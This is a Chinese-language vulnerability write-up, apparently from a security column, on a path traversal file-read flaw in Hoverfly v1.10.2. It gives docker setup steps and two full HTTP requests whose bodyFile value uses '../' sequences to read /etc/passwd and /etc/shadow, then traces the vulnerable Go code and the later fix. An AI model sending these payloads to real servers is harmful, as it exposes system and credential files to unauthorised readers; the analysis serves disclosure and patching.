漏洞简介
Hoverfly 是一个为开发人员和测试人员提供的轻量级服务虚拟化/API模拟/API模拟工具。其 /api/v2/simulation
的 POST 处理程序允许用户从用户指定的文件内容中创建新的模拟视图。然而,这一功能可能被攻击者利用来读取 Hoverfly 服务器上的任意文件。尽管代码禁止指定绝对路径,但攻击者可以通过使用 ../
段来逃离 hf.Cfg.ResponsesBodyFilesPath
基本路径,从而访问任何任意文件。
环境搭建
我们还是利用 docker 来搭建环境
https://hub.docker.com/r/spectolabs/hoverfly/tags
docker
pull
spectolabs
/
hoverfly
:
v1
.10.2
docker
run
-
d
-
p
8888
:
8888
-
p
8500
:
8500
spectolabs
/
hoverfly
:
v1
.10.2
漏洞复现
构造数据包
POST
/
api
/
v2
/
simulation
HTTP
/
1.1
Host
:
127.0.0.1
:
8888
Accept
:
application
/
json
,
text
/
plain
,
*/*
User
-
Agent
:
Mozilla
/
5.0
(
Windows
NT
10.0
;
Win64
;
x64
)
AppleWebKit
/
537.36
(
KHTML
,
like
Gecko
)
Chrome
/
85.0.4183.83
Safari
/
537.36
Sec
-
Fetch
-
Site
:
same
-
origin
Sec
-
Fetch
-
Mode
:
cors
Sec
-
Fetch
-
Dest
:
empty
Referer
:
http
:
//
127.0.0.1
:
8888
/
dashboard
Accept
-
Encoding
:
gzip
,
deflate
Accept
-
Language
:
zh
-
CN
,
zh
;
q
=
0.9
Connection
:
close
Content
-
Length
:
126
Content
-
Type
:
application
/
x
-
www
-
form
-
urlencoded
{
"data"
:{
"pairs"
:[{
"request"
:{},
"response"
: {
"bodyFile"
:
"../../../../../etc/passwd"
}} ]},
"meta"
:{
"schemaVersion"
:
"v5.2"
}}
PUT
/
api
/
v2
/
simulation
HTTP
/
1.1
Host
:
127.0.0.1
:
8888
Accept
:
application
/
json
,
text
/
plain
,
*/*
User
-
Agent
:
Mozilla
/
5.0
(
Windows
NT
10.0
;
Win64
;
x64
)
AppleWebKit
/
537.36
(
KHTML
,
like
Gecko
)
Chrome
/
85.0.4183.83
Safari
/
537.36
Sec
-
Fetch
-
Site
:
same
-
origin
Sec
-
Fetch
-
Mode
:
cors
Sec
-
Fetch
-
Dest
:
empty
Referer
:
http
:
//
127.0.0.1
:
8888
/
dashboard
Accept
-
Encoding
:
gzip
,
deflate
Accept
-
Language
:
zh
-
CN
,
zh
;
q
=
0.9
Connection
:
close
Content
-
Length
:
126
Content
-
Type
:
application
/
x
-
www
-
form
-
urlencoded
{
"data"
:{
"pairs"
:[{
"request"
:{},
"response"
: {
"bodyFile"
:
"../../../../../etc/shadow"
}} ]},
"meta"
:{
"schemaVersion"
:
"v5.2"
}}
漏洞分析
hoverfly-1.10.2\core\handlers\v2\simulation_handler.go#RegisterRoutes
定义了 SimulationHandler
的路由注册方法,路由的每个 HTTP 方法(如 GET
、 PUT
、 POST
、 DELETE
等)都有一个对应的处理函数 ( this.Get
、 this.Put
、 this.Post
、 this.Delete
、 this.Options
、 this.GetSchema
)。这些函数处理实际的业务逻辑。
-
GET /api/v2/simulation
: 处理获取模拟数据。 -
PUT /api/v2/simulation
: 处理更新模拟数据。 -
POST /api/v2/simulation
: 处理创建新的模拟数据。 -
DELETE /api/v2/simulation
: 处理删除模拟数据。 -
OPTIONS /api/v2/simulation
: 提供有关/api/v2/simulation
端点允许的 HTTP 方法的信息。 -
GET /api/v2/simulation/schema
: 获取模拟数据的 schema(结构)。 -
OPTIONS /api/v2/simulation/schema
: 提供有关/api/v2/simulation/schema
端点允许的 HTTP 方法的信息。
POST 和 PUT 方法 仅仅是函数的第三个参数有所不同,所以两种请求方式都可以实现任意文件读取
hoverfly-1.10.2\core\handlers\v2\simulation_handler.go#addSimulation
第三个参数的不同导致 PUT 方法在获取新的模型内容时,首先删除前一个模拟内容,可以重复读取不同文件内容。POST 仅仅只能读取一次文件内容,无法更新。
hoverfly-1.10.2\core\hoverfly_service.go#PutSimulation
hoverfly-1.10.2\core\hoverfly_service.go#putOrReplaceSimulation
hoverfly-1.10.2\core\hoverfly_funcs.go#readResponseBodyFiles
hoverfly-1.10.2\core\hoverfly_funcs.go#readResponseBodyFile
这里就是漏洞产生的关键原因,对传入的参数 filePath 没有做具体的校验,可以通过 ../
实现跨越目录的读取文件
我们看到最新版已经对传入的参数进行了处理
hoverfly-1.10.4\core\hoverfly_funcs.go#readResponseBodyFile
hoverfly-1.10.4\core\util\util.go#ResolveAndValidatePath
这个 ResolveAndValidatePath
函数用于从一个绝对路径( absBasePath
)解析一个相对路径( relativePath
),并验证这个相对路径是否合法。具体来说,它确保了相对路径不会尝试向上回溯(使用 ".."
),并且解析后的路径仍然在基路径之下。
本文作者: dingjiacan@antvsion.com
本文为安全脉搏专栏作者发布,转载请注明: https://www.secpulse.com/archives/205506.html